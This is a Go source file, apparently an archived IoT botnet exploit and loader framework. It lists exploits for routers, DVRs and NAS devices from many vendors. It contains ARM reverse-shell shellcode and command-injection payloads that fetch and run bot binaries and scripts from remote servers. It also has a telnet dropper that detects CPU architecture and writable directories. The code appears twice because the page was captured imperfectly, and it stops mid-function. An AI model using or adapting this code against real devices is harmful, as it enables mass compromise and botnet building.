/* name Linux type linux cve — year — os Linux authors unknown source unknown archived krisyotam (2026) notes — */package main import ( "net" "time" "bufio" "fmt" "os" "sync" "strings" "strconv" "io/ioutil" "math/rand" "encoding/binary" "encoding/base64") /* Exploit kit framework 1.0.0. Contains:Reverse shell loader (DONE)Telnet loader (arch detect, dir detect, echo load) (DONE) Exploits:UCHTTPD (DONE)TVT-4567 (DONE)TVT-WEB (DONE)UNIX CCTV (DONE)FIBERHOME ROUTER (DONE)VIGOR ROUTER (DONE)COMTREND ROUTER (DONE)GPONFIBER ROUTER (DONE)BROADCOM ROUTER (DONE)DVRIP (DONE)LIBDVR (DONE)HONGDIAN ROUTER (DONE)REALTEK MULTI ROUTER (DONE)TENDA ROUTER (DONE)TOTOLINK ROUTER (DONE)ALCATEL NAS (DONE)LILINDVR (DONE)LINKSYS ESERIES (DONE)*/ const ( EI_NIDENT int = 16 EI_DATA int = 5 EE_LITTLE int = 1 EE_BIG int = 2 EM_ARM int = 40 EM_MIPS int = 8 EM_AARCH64 int = 183 EM_PPC int = 20 EM_PPC64 int = 21 EM_SH int = 42 DVRIP_NORESP int = 0 DVRIP_OK int = 100 DVRIP_FAILED int = 203 DVRIP_UPGRADED int = 515 echoLineLen = 128 echoDlrOutFile = "qn_local" loaderTvtWebTag = "selfrep.tvt" loaderTvt4567Tag = "selfrep.tvt" loaderVigorTag = "selfrep.vigor" loaderComtrendTag = "selfrep.comtrend" loaderGponfiberTag = "selfrep.gponfiber" loaderFiberhomeTag = "selfrep.fiberhome" loaderLibdvrTag = "selfrep.libdvr" loaderDvripTag = "selfrep.dvrip" loaderUchttpdTag = "selfrep.uchttpd" loaderHongdianTag = "selfrep.hongdian" loaderTendaTag = "selfrep.tenda" loaderTotolinkTag = "selfrep.totolink" loaderZyxelTag = "selfrep.zyxel" loaderAlcatleTag = "selfrep.alcatel" loaderLilinTag = "selfrep.lilin" loaderLinksysTag = "selfrep.linksys" loaderZteTag = "selfrep.zte" loaderNetgearTag = "selfrep.netgear" loaderDlinkTag = "selfrep.dlink" loaderDownloadServer = "1.1.1.1" // Remote IP Of Server With Bins And Sh Files loaderBinsLocation = "/a/b/" // Path To Bins loaderScriptsLocation = "/a/" // Path To Bins) type elfHeader struct { e_ident[EI_NIDENT] int8 e_type, e_machine int16 e_version int32} type smapsRegion struct { region uint64 size, pss, rss int shared_clean, shared_ditry int private_clean, private_dirty int} type echoDropper struct { payload [128]string payload_count int} var ( netTimeout time.Duration = 30 workerGroup sync.WaitGroup magicGroup sync.WaitGroup mode, doExploit string exploitMap map[string]interface{} dropperMap map[string]echoDropper) // countersvar telShells, payloadSent int var ( // uc exploit settings // should be reverse shell to same ip as loader on port 31391 uchttpdShellCode string = "\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde" ucRshellPort int = 31412 // tvt exploit settings tvtWebPayload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderTvtWebTag tvt4567Payload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderTvt4567Tag // magic exploit settings magicPacketIds []string = []string{"\x62", "\x69", "\x6c", "\x52", "\x44", "\x67", "\x43", "\x4d"} magicPorts []int = []int{1000, 2000, 3000, 4000, 5000, 6000, 7000, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8020, 8030, 8040, 8050, 8060, 8070, 8080, 8090, 8100, 8200, 8300, 8400, 8500, 8600, 8700, 8800, 8888, 8900, 8999, 9000, 9090} magicPayload string = "wget http://rippr.cc/u -O-|sh;" // lilindvr payload lilinPayload string = "wget -O- http://" + loaderDownloadServer + "/l|sh" // fiberhome exploit settings fiberRandPort int = 1 // 0 for use below fiberStaticPort int = 31784 fiberSecStrs []string = []string{"0.3123525368318707", "0.13378587435314315", "0.8071510413685209"} // vigor exploit settings vigorPayload string = "bin%2Fsh%24%7BIFS%7D-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%24%7BIFS%7D%26%26%24%7BIFS%7Dbusybox%24%7BIFS%7Dwget%24%7BIFS%7Dhttp%3A%2F%2F" + loaderDownloadServer + loaderBinsLocation + "bot.arm7%24%7BIFS%7D%26%26%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Dbot.arm7%24%7BIFS%7D%26%26%24%7BIFS%7D.%2Fbot.arm7%24%7BIFS%7D" + loaderVigorTag + "%24%7BIFS%7D%26%26%24%7BIFS%7Drm%24%7BIFS%7D-rf%24%7BIFS%7Dbot.arm7" // broadcom router settings broadcomPayload string = "$(wget%20http://" + loaderDownloadServer + "/b%20-O-|sh)" // hongdian router settings hongdianPayload string = "cd+/tmp%3Bbusybox+wget+http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh+-O-+>sfs;chmod+777+sfs%3Bsh+sfs+" + loaderHongdianTag + "%3Brm+-rf+sfs" // tenda router settings tendaPayload string = "cd%20/tmp%3Brm%20wget.sh%3Bwget%20http%3A//" + loaderDownloadServer + loaderScriptsLocation + "wget.sh%3Bchmod%20777%20wget.sh%3Bsh%20wget.sh%20" + loaderTendaTag // totlink router settings totolinkPayload string = "wget%20http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%20-O%20-%20%3Esplash.sh%3B%20chmod%20777%20splash.sh%3B%20sh%20splash.sh%20" + loaderTotolinkTag // zyxel nas settings zyxelPayload string = "cd%20/tmp;wget%20http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh%20-O-%20>s;chmod%20777%20s;sh%20s%20" + loaderZyxelTag + ";" zyxelPayloadTwo string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderZyxelTag + "%3Brm+-rf+wget.sh" // alcatel nas settings alcatelPayload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderAlcatleTag // linksys router settings linksysPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bsh+wget.sh+" + loaderLinksysTag + "%3Brm+-rf+wget.sh" linksysTwoPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderLinksysTag + "%3Brm+-rf+wget.sh" // zte router settings ztePayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderZyxelTag + "%3Brm+-rf+wget.sh" // netgear router settings netgearPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderNetgearTag + "%3Brm+-rf+wget.sh" // gpon router settings gponOGPayload string = "wget+http%3A%2F%2F" + loaderDownloadServer + "%2Fg+-O-%7Csh%60%3Bwget+http%3A%2F%2F37.0.11.220%2Fg+-O-%7Csh" // dlink router settings dlinkTwoPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderDlinkTag + "%3Brm+-rf+wget.sh" dlinkThreePayload string = "cd /tmp;wget http://" + loaderDownloadServer + "/a/wget.sh;chmod 777 wget.sh;sh wget.sh " + loaderDlinkTag + ";rm -rf wget.sh") func zeroByte(a []byte) { for i := range a { a[i] = 0 }} func getStringInBetween(str string, start string, end string) (result string) { s := strings.Index(str, start) if s == -1 { return } s += len(start) e := strings.Index(str, end) if (s > 0 && e > s + 1) { return str[s:e] } else { return "null" }} func randStr(strlen int) (string) { var b strings.Builder rand.Seed(time.Now().UnixNano()) chars := []rune("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz") for i := 0; i < strlen; i++ { b.WriteRune(chars[rand.Intn(len(chars))]) } return b.String()} func hexToInt(hexStr string) (uint64) { cleaned := strings.Replace(hexStr, "0x", "", -1) result, _ := strconv.ParseUint(cleaned, 16, 64) return uint64(result)} /* TELNET LOADER MODULE */ func telnetLoadDroppers() { files, err := ioutil.ReadDir("dlrs") if err != nil { fmt.Printf("\033[1;31mError: Failed to open dlrs/\r\n") os.Exit(0) } for i := 0; i < len(files); i++ { file, err := os.OpenFile("dlrs/" + files[i].Name(), os.O_RDONLY, 0755) if err != nil { continue } mapVal := echoDropper{} mapVal.payload_count = 0 for { var echoString string dataBuf := make([]byte, echoLineLen) length, err := file.Read(dataBuf) if err != nil || length <= 0 { break } for i := 0; i < length; i++ { echoByte := fmt.Sprintf("\\x%02x", uint8(dataBuf[i])) echoString += echoByte } if mapVal.payload_count == 0 { mapVal.payload[mapVal.payload_count] = fmt.Sprintf("echo -ne \"%s\" > ", echoString) } else { mapVal.payload[mapVal.payload_count] = fmt.Sprintf("echo -ne \"%s\" >> ", echoString) } mapVal.payload_count++ } dropperMap[files[i].Name()] = mapVal file.Close() } fmt.Printf("\x1b[38;5;46mLoader\x1b[38;5;15m: \x1b[38;5;15mLoaded \x1b[38;5;134m%d\x1b[38;5;15m echo droppers\x1b[38;5;15m\x1b[38;5;15m\r\n", len(dropperMap))} func telnetHasPrompt(buffer string) (bool) { if strings.Contains(buffer, "#") || strings.Contains(buffer, ">") || strings.Contains(buffer, "$") || strings.Contains(buffer, "%") || strings.Contains(buffer, "@") { return true } else { return false }} func telnetBusyboxShell(conn net.Conn) { /* Looks wierd but dw its for some BCM router */ conn.Write([]byte("sh\r\n")) conn.Write([]byte("..\r\n")) conn.Write([]byte("linuxshell\r\n")) /* ------------------------------------------ */ conn.Write([]byte("enable\r\n")) conn.Write([]byte("development\r\n")) conn.Write([]byte("system\r\n")) conn.Write([]byte("sh\r\n")) conn.Write([]byte("shell\r\n")) conn.Write([]byte("ping ; sh\r\n"))} func telnetDropDropper(conn net.Conn, myarch string) (bool) { for arch, mapval := range dropperMap { splitVal := strings.Split(arch, ".") if len(splitVal) != 2 { continue } if splitVal[1] == myarch { query := randStr(5) dropper := randStr(5) droppedLines := 0 for i := 0; i < mapval.payload_count; i++ { var rdbuf []byte = []byte("") complete := 0 conn.Write([]byte(mapval.payload[i] + dropper + "; /bin/busybox " + query + "\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) if strings.Contains(string(rdbuf), ": applet not found") { complete = 1 break } } if complete == 0 { return false } droppedLines++ } if droppedLines == mapval.payload_count { var rdbuf []byte = []byte("") conn.Write([]byte("chmod 777 " + dropper + "; ./" + dropper + "; rm -rf " + dropper + "; /bin/busybox " + query + "\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) if strings.Contains(string(rdbuf), ": applet not found") { return true } } return false } else { return false } } else { continue } } return false} func telnetHasBusybox(conn net.Conn) (bool, string) { var rdbuf []byte = []byte("") query := randStr(6) resp := ": applet not found" conn.Write([]byte("/bin/busybox " + query + "\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) if strings.Contains(string(rdbuf), resp) == true { index := strings.Index(string(rdbuf), "BusyBox v") if index == -1 { return true, "unknown" } else { verstr := strings.Split(string(rdbuf)[len("BusyBox v")+index:], " ") if len(verstr) > 0 { return true, verstr[0] } else { return true, "unknown" } } } } return false, "unknown"} func telnetWritableDir(conn net.Conn) (bool, string) { var rdbuf []byte dirs := []string{"/tmp/", "/var/tmp/", "/var/", "/mnt/", "/etc/", "/", "/dev/"} for i := 0; i < len(dirs); i++ { echoStr := randStr(4) conn.Write([]byte("cd " + dirs[i] + " && echo " + echoStr + "\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) if strings.Contains(string(rdbuf), "can't cd") || strings.Contains(string(rdbuf), "No such file or") { break } else if strings.Contains(string(rdbuf), echoStr) { return true, dirs[i] } } zeroByte(rdbuf) } return false, "none"} func telnetExtractArch(conn net.Conn) (bool, string) { var rdbuf []byte var index int = -1 conn.Write([]byte("/bin/busybox cat /bin/echo\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) index = strings.Index(string(rdbuf), "ELF") if index != -1 { zeroByte(tmpbuf) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) break } } if index == -1 { return false, "none" } rdbuf = rdbuf[index:] elfHdr := elfHeader{} for i := 0; i < EI_NIDENT; i++ { elfHdr.e_ident[i] = int8(rdbuf[i]) } elfHdr.e_type = int16(rdbuf[EI_NIDENT]) elfHdr.e_machine = int16(rdbuf[EI_NIDENT + 2]) elfHdr.e_version = int32(rdbuf[EI_NIDENT + 2 + 2]) if elfHdr.e_machine == int16(EM_ARM) { return true, "arm" } else if elfHdr.e_machine == int16(EM_MIPS) { if elfHdr.e_ident[EI_DATA] == int8(EE_LITTLE) { return true, "mpsl" } else {Lines 1–500 of 2902. Load more
/* name Linux type linux cve — year — os Linux authors unknown source unknown archived krisyotam (2026) notes — */ package main import ( "net" "time" "bufio" "fmt" "os" "sync" "strings" "strconv" "io/ioutil" "math/rand" "encoding/binary" "encoding/base64" ) /* Exploit kit framework 1.0.0. Contains: Reverse shell loader (DONE) Telnet loader (arch detect, dir detect, echo load) (DONE) Exploits: UCHTTPD (DONE) TVT-4567 (DONE) TVT-WEB (DONE) UNIX CCTV (DONE) FIBERHOME ROUTER (DONE) VIGOR ROUTER (DONE) COMTREND ROUTER (DONE) GPONFIBER ROUTER (DONE) BROADCOM ROUTER (DONE) DVRIP (DONE) LIBDVR (DONE) HONGDIAN ROUTER (DONE) REALTEK MULTI ROUTER (DONE) TENDA ROUTER (DONE) TOTOLINK ROUTER (DONE) ALCATEL NAS (DONE) LILINDVR (DONE) LINKSYS ESERIES (DONE) */ const ( EI_NIDENT int = 16 EI_DATA int = 5 EE_LITTLE int = 1 EE_BIG int = 2 EM_ARM int = 40 EM_MIPS int = 8 EM_AARCH64 int = 183 EM_PPC int = 20 EM_PPC64 int = 21 EM_SH int = 42 DVRIP_NORESP int = 0 DVRIP_OK int = 100 DVRIP_FAILED int = 203 DVRIP_UPGRADED int = 515 echoLineLen = 128 echoDlrOutFile = "qn_local" loaderTvtWebTag = "selfrep.tvt" loaderTvt4567Tag = "selfrep.tvt" loaderVigorTag = "selfrep.vigor" loaderComtrendTag = "selfrep.comtrend" loaderGponfiberTag = "selfrep.gponfiber" loaderFiberhomeTag = "selfrep.fiberhome" loaderLibdvrTag = "selfrep.libdvr" loaderDvripTag = "selfrep.dvrip" loaderUchttpdTag = "selfrep.uchttpd" loaderHongdianTag = "selfrep.hongdian" loaderTendaTag = "selfrep.tenda" loaderTotolinkTag = "selfrep.totolink" loaderZyxelTag = "selfrep.zyxel" loaderAlcatleTag = "selfrep.alcatel" loaderLilinTag = "selfrep.lilin" loaderLinksysTag = "selfrep.linksys" loaderZteTag = "selfrep.zte" loaderNetgearTag = "selfrep.netgear" loaderDlinkTag = "selfrep.dlink" loaderDownloadServer = "1.1.1.1" // Remote IP Of Server With Bins And Sh Files loaderBinsLocation = "/a/b/" // Path To Bins loaderScriptsLocation = "/a/" // Path To Bins ) type elfHeader struct { e_ident[EI_NIDENT] int8 e_type, e_machine int16 e_version int32 } type smapsRegion struct { region uint64 size, pss, rss int shared_clean, shared_ditry int private_clean, private_dirty int } type echoDropper struct { payload [128]string payload_count int } var ( netTimeout time.Duration = 30 workerGroup sync.WaitGroup magicGroup sync.WaitGroup mode, doExploit string exploitMap map[string]interface{} dropperMap map[string]echoDropper ) // counters var telShells, payloadSent int var ( // uc exploit settings // should be reverse shell to same ip as loader on port 31391 uchttpdShellCode string = "\x01\x10\x8f\xe2\x11\xff\x2f\xe1\x11\xa1\x8a\x78\x01\x3a\x8a\x70\x02\x21\x08\x1c\x01\x21\x92\x1a\x0f\x02\x19\x37\x01\xdf\x06\x1c\x0b\xa1\x02\x23\x0b\x80\x10\x22\x02\x37\x01\xdf\x3e\x27\x01\x37\xc8\x21\x30\x1c\x01\xdf\x01\x39\xfb\xd5\x07\xa0\x92\x1a\xc2\x71\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x21\x08\x1c\x01\xdf\xc0\x46\xff\xff\x7b\xb4\xb9\x35\x5a\x13\x2f\x62\x69\x6e\x2f\x73\x68\x58\xff\xff\xc0\x46\xef\xbe\xad\xde" ucRshellPort int = 31412 // tvt exploit settings tvtWebPayload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderTvtWebTag tvt4567Payload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderTvt4567Tag // magic exploit settings magicPacketIds []string = []string{"\x62", "\x69", "\x6c", "\x52", "\x44", "\x67", "\x43", "\x4d"} magicPorts []int = []int{1000, 2000, 3000, 4000, 5000, 6000, 7000, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8020, 8030, 8040, 8050, 8060, 8070, 8080, 8090, 8100, 8200, 8300, 8400, 8500, 8600, 8700, 8800, 8888, 8900, 8999, 9000, 9090} magicPayload string = "wget http://rippr.cc/u -O-|sh;" // lilindvr payload lilinPayload string = "wget -O- http://" + loaderDownloadServer + "/l|sh" // fiberhome exploit settings fiberRandPort int = 1 // 0 for use below fiberStaticPort int = 31784 fiberSecStrs []string = []string{"0.3123525368318707", "0.13378587435314315", "0.8071510413685209"} // vigor exploit settings vigorPayload string = "bin%2Fsh%24%7BIFS%7D-c%24%7BIFS%7D%27cd%24%7BIFS%7D%2Ftmp%24%7BIFS%7D%26%26%24%7BIFS%7Dbusybox%24%7BIFS%7Dwget%24%7BIFS%7Dhttp%3A%2F%2F" + loaderDownloadServer + loaderBinsLocation + "bot.arm7%24%7BIFS%7D%26%26%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Dbot.arm7%24%7BIFS%7D%26%26%24%7BIFS%7D.%2Fbot.arm7%24%7BIFS%7D" + loaderVigorTag + "%24%7BIFS%7D%26%26%24%7BIFS%7Drm%24%7BIFS%7D-rf%24%7BIFS%7Dbot.arm7" // broadcom router settings broadcomPayload string = "$(wget%20http://" + loaderDownloadServer + "/b%20-O-|sh)" // hongdian router settings hongdianPayload string = "cd+/tmp%3Bbusybox+wget+http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh+-O-+>sfs;chmod+777+sfs%3Bsh+sfs+" + loaderHongdianTag + "%3Brm+-rf+sfs" // tenda router settings tendaPayload string = "cd%20/tmp%3Brm%20wget.sh%3Bwget%20http%3A//" + loaderDownloadServer + loaderScriptsLocation + "wget.sh%3Bchmod%20777%20wget.sh%3Bsh%20wget.sh%20" + loaderTendaTag // totlink router settings totolinkPayload string = "wget%20http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%20-O%20-%20%3Esplash.sh%3B%20chmod%20777%20splash.sh%3B%20sh%20splash.sh%20" + loaderTotolinkTag // zyxel nas settings zyxelPayload string = "cd%20/tmp;wget%20http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh%20-O-%20>s;chmod%20777%20s;sh%20s%20" + loaderZyxelTag + ";" zyxelPayloadTwo string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderZyxelTag + "%3Brm+-rf+wget.sh" // alcatel nas settings alcatelPayload string = "cd${IFS}/tmp;wget${IFS}http://" + loaderDownloadServer + loaderScriptsLocation + "wget.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}" + loaderAlcatleTag // linksys router settings linksysPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bsh+wget.sh+" + loaderLinksysTag + "%3Brm+-rf+wget.sh" linksysTwoPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderLinksysTag + "%3Brm+-rf+wget.sh" // zte router settings ztePayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderZyxelTag + "%3Brm+-rf+wget.sh" // netgear router settings netgearPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderNetgearTag + "%3Brm+-rf+wget.sh" // gpon router settings gponOGPayload string = "wget+http%3A%2F%2F" + loaderDownloadServer + "%2Fg+-O-%7Csh%60%3Bwget+http%3A%2F%2F37.0.11.220%2Fg+-O-%7Csh" // dlink router settings dlinkTwoPayload string = "cd+%2Ftmp%3Bwget+http%3A%2F%2F" + loaderDownloadServer + "%2Fa%2Fwget.sh%3Bchmod+777+wget.sh%3Bsh+wget.sh+" + loaderDlinkTag + "%3Brm+-rf+wget.sh" dlinkThreePayload string = "cd /tmp;wget http://" + loaderDownloadServer + "/a/wget.sh;chmod 777 wget.sh;sh wget.sh " + loaderDlinkTag + ";rm -rf wget.sh" ) func zeroByte(a []byte) { for i := range a { a[i] = 0 } } func getStringInBetween(str string, start string, end string) (result string) { s := strings.Index(str, start) if s == -1 { return } s += len(start) e := strings.Index(str, end) if (s > 0 && e > s + 1) { return str[s:e] } else { return "null" } } func randStr(strlen int) (string) { var b strings.Builder rand.Seed(time.Now().UnixNano()) chars := []rune("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz") for i := 0; i < strlen; i++ { b.WriteRune(chars[rand.Intn(len(chars))]) } return b.String() } func hexToInt(hexStr string) (uint64) { cleaned := strings.Replace(hexStr, "0x", "", -1) result, _ := strconv.ParseUint(cleaned, 16, 64) return uint64(result) } /* TELNET LOADER MODULE */ func telnetLoadDroppers() { files, err := ioutil.ReadDir("dlrs") if err != nil { fmt.Printf("\033[1;31mError: Failed to open dlrs/\r\n") os.Exit(0) } for i := 0; i < len(files); i++ { file, err := os.OpenFile("dlrs/" + files[i].Name(), os.O_RDONLY, 0755) if err != nil { continue } mapVal := echoDropper{} mapVal.payload_count = 0 for { var echoString string dataBuf := make([]byte, echoLineLen) length, err := file.Read(dataBuf) if err != nil || length <= 0 { break } for i := 0; i < length; i++ { echoByte := fmt.Sprintf("\\x%02x", uint8(dataBuf[i])) echoString += echoByte } if mapVal.payload_count == 0 { mapVal.payload[mapVal.payload_count] = fmt.Sprintf("echo -ne \"%s\" > ", echoString) } else { mapVal.payload[mapVal.payload_count] = fmt.Sprintf("echo -ne \"%s\" >> ", echoString) } mapVal.payload_count++ } dropperMap[files[i].Name()] = mapVal file.Close() } fmt.Printf("\x1b[38;5;46mLoader\x1b[38;5;15m: \x1b[38;5;15mLoaded \x1b[38;5;134m%d\x1b[38;5;15m echo droppers\x1b[38;5;15m\x1b[38;5;15m\r\n", len(dropperMap)) } func telnetHasPrompt(buffer string) (bool) { if strings.Contains(buffer, "#") || strings.Contains(buffer, ">") || strings.Contains(buffer, "$") || strings.Contains(buffer, "%") || strings.Contains(buffer, "@") { return true } else { return false } } func telnetBusyboxShell(conn net.Conn) { /* Looks wierd but dw its for some BCM router */ conn.Write([]byte("sh\r\n")) conn.Write([]byte("..\r\n")) conn.Write([]byte("linuxshell\r\n")) /* ------------------------------------------ */ conn.Write([]byte("enable\r\n")) conn.Write([]byte("development\r\n")) conn.Write([]byte("system\r\n")) conn.Write([]byte("sh\r\n")) conn.Write([]byte("shell\r\n")) conn.Write([]byte("ping ; sh\r\n")) } func telnetDropDropper(conn net.Conn, myarch string) (bool) { for arch, mapval := range dropperMap { splitVal := strings.Split(arch, ".") if len(splitVal) != 2 { continue } if splitVal[1] == myarch { query := randStr(5) dropper := randStr(5) droppedLines := 0 for i := 0; i < mapval.payload_count; i++ { var rdbuf []byte = []byte("") complete := 0 conn.Write([]byte(mapval.payload[i] + dropper + "; /bin/busybox " + query + "\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) if strings.Contains(string(rdbuf), ": applet not found") { complete = 1 break } } if complete == 0 { return false } droppedLines++ } if droppedLines == mapval.payload_count { var rdbuf []byte = []byte("") conn.Write([]byte("chmod 777 " + dropper + "; ./" + dropper + "; rm -rf " + dropper + "; /bin/busybox " + query + "\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) if strings.Contains(string(rdbuf), ": applet not found") { return true } } return false } else { return false } } else { continue } } return false } func telnetHasBusybox(conn net.Conn) (bool, string) { var rdbuf []byte = []byte("") query := randStr(6) resp := ": applet not found" conn.Write([]byte("/bin/busybox " + query + "\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) if strings.Contains(string(rdbuf), resp) == true { index := strings.Index(string(rdbuf), "BusyBox v") if index == -1 { return true, "unknown" } else { verstr := strings.Split(string(rdbuf)[len("BusyBox v")+index:], " ") if len(verstr) > 0 { return true, verstr[0] } else { return true, "unknown" } } } } return false, "unknown" } func telnetWritableDir(conn net.Conn) (bool, string) { var rdbuf []byte dirs := []string{"/tmp/", "/var/tmp/", "/var/", "/mnt/", "/etc/", "/", "/dev/"} for i := 0; i < len(dirs); i++ { echoStr := randStr(4) conn.Write([]byte("cd " + dirs[i] + " && echo " + echoStr + "\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) if strings.Contains(string(rdbuf), "can't cd") || strings.Contains(string(rdbuf), "No such file or") { break } else if strings.Contains(string(rdbuf), echoStr) { return true, dirs[i] } } zeroByte(rdbuf) } return false, "none" } func telnetExtractArch(conn net.Conn) (bool, string) { var rdbuf []byte var index int = -1 conn.Write([]byte("/bin/busybox cat /bin/echo\r\n")) for { tmpbuf := make([]byte, 128) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) index = strings.Index(string(rdbuf), "ELF") if index != -1 { zeroByte(tmpbuf) ln, err := conn.Read(tmpbuf) if ln <= 0 || err != nil { break } rdbuf = append(rdbuf, tmpbuf...) break } } if index == -1 { return false, "none" } rdbuf = rdbuf[index:] elfHdr := elfHeader{} for i := 0; i < EI_NIDENT; i++ { elfHdr.e_ident[i] = int8(rdbuf[i]) } elfHdr.e_type = int16(rdbuf[EI_NIDENT]) elfHdr.e_machine = int16(rdbuf[EI_NIDENT + 2]) elfHdr.e_version = int32(rdbuf[EI_NIDENT + 2 + 2]) if elfHdr.e_machine == int16(EM_ARM) { return true, "arm" } else if elfHdr.e_machine == int16(EM_MIPS) { if elfHdr.e_ident[EI_DATA] == int8(EE_LITTLE) { return true, "mpsl" } else {